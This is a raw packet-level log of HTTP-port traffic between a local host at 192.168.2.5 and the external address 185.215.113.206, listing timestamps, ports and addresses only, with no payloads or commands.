Dec 24, 2024 12:40:24.864223957 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.864334106 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.864392042 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.865346909 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.865400076 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.865494013 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.865566015 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.866481066 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.866487026 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.866543055 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.867682934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.867785931 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.867822886 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.867924929 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.868840933 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.868846893 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.868911028 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.870007992 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.870012999 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.870078087 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.870920897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.870981932 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.871063948 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.871129036 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.872123003 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.872129917 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.872137070 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.872142076 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.872211933 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.872586012 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.872637033 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.873081923 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.873140097 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.876130104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.876137018 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.876195908 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.877046108 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.877052069 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.877118111 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.877774000 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.877784967 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.877830029 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.878979921 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.878992081 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.879045963 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.880029917 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.880040884 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.880089998 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.881119013 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.881130934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.881181955 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.882205963 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.882216930 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.882308006 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.883304119 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.883375883 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.883476019 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.883538961 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.972146988 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.972383022 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.972426891 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.972481966 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.972735882 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.972793102 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.972932100 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.972987890 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.973918915 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.973975897 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.974092007 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.974143982 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.974942923 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.974997044 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.975287914 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.975342035 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.976134062 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.976193905 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.976320982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.976370096 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.977269888 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.977319002 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.977452993 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.977502108 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.978291035 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.978339911 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.978480101 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.978532076 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.979448080 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.979501963 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.979635954 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.979688883 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.980776072 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.980830908 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.980961084 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.981009007 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.981637955 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.981684923 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.981961012 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.982009888 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.982949972 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.982960939 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.983023882 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.983052969 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.986335993 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.986393929 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.986540079 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.986552954 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.986597061 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.986687899 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.986700058 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.986710072 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.986736059 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.986763954 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.988394022 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.988442898 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.988451958 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.988456011 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.988487959 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.988514900 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.988811970 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.988828897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.988840103 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.988862038 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.988893986 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.990169048 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.990180969 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.990192890 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.990226984 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.990252018 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.990267992 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.990318060 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.994810104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.994822025 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.994832039 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.994890928 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.994927883 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.994968891 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.995127916 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.995148897 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.995171070 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.995310068 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.995357037 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.996067047 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.996078014 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.996092081 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:24.996125937 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:24.996160984 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.042207956 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.042351961 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.042423010 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.042783022 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.042846918 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.042881966 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.042938948 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.043979883 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.044167995 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.044239998 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.045013905 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.045098066 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.045129061 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.045182943 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.046184063 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.046271086 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.046330929 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.047389030 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.047446012 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.047708035 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.047760010 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.048434019 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.048485041 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.048518896 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.048568964 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.049508095 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.049559116 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.049617052 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.049664021 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.050653934 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.050705910 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.050869942 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.050925970 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.051759005 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.051850080 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.051871061 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.051920891 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.052875042 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.052926064 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.053030968 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.053082943 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.054002047 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.054066896 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.054095984 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.054156065 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.055223942 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.055284023 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.055425882 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.055483103 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.056296110 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.056364059 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.056385994 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.056436062 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.057382107 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.057447910 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.057482958 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.057531118 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.058541059 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.058594942 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.058657885 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.059662104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.059719086 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.059803009 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.059860945 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.060765028 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.060828924 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.060888052 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.060942888 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.061873913 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.061978102 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.061988115 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.062035084 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.063010931 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.063111067 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.063114882 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.063158989 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.064136982 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.064188957 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.064291000 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.064341068 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.065267086 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.065403938 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.065447092 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.066389084 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.066437960 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.066489935 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.066535950 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.067502022 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.067549944 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.067560911 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.067609072 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.068679094 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.068728924 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.068762064 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.069256067 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.069770098 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.069875002 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.069977045 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.070028067 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.070933104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.070951939 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.070987940 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.071018934 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.071985960 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.072041988 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.072110891 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.073121071 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.073172092 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.073203087 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.073250055 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.074223042 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.074325085 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.074372053 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.162709951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.162801027 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.162844896 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.162960052 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.163116932 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.163163900 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.163233042 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.163292885 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.164246082 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.164297104 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.164298058 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.164356947 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.165232897 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.165272951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.165282965 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.165317059 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.166363955 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.166415930 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.166423082 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.166471958 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.167460918 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.167510986 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.167578936 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.167629004 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.168556929 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.168606043 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.168682098 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.168730974 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.169682026 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.169730902 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.169819117 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.169866085 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.170790911 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.170840979 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.170892954 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.170944929 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.171963930 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.172013044 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.172189951 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.172238111 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.173038006 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.173108101 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.173182011 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.173230886 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.174161911 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.174412966 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.174465895 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.175280094 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.175338030 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.175374031 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.175426006 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.176417112 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.176472902 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.176513910 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.176565886 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.177565098 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.177615881 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.177671909 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.177722931 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.178656101 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.178764105 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.178819895 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.179805040 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.179860115 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.179863930 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.179910898 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.180886030 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.180942059 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.181004047 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.181051970 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.182050943 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.182070971 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.182123899 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.183147907 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.183224916 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.183259964 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.183320045 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.184257030 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.184305906 CET	49868	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:40:25.184475899 CET	80	49868	185.215.113.206	192.168.2.5
Dec 24, 2024 12:40:25.184523106 CET	49868	80	192.168.2.5	185.215.113.206
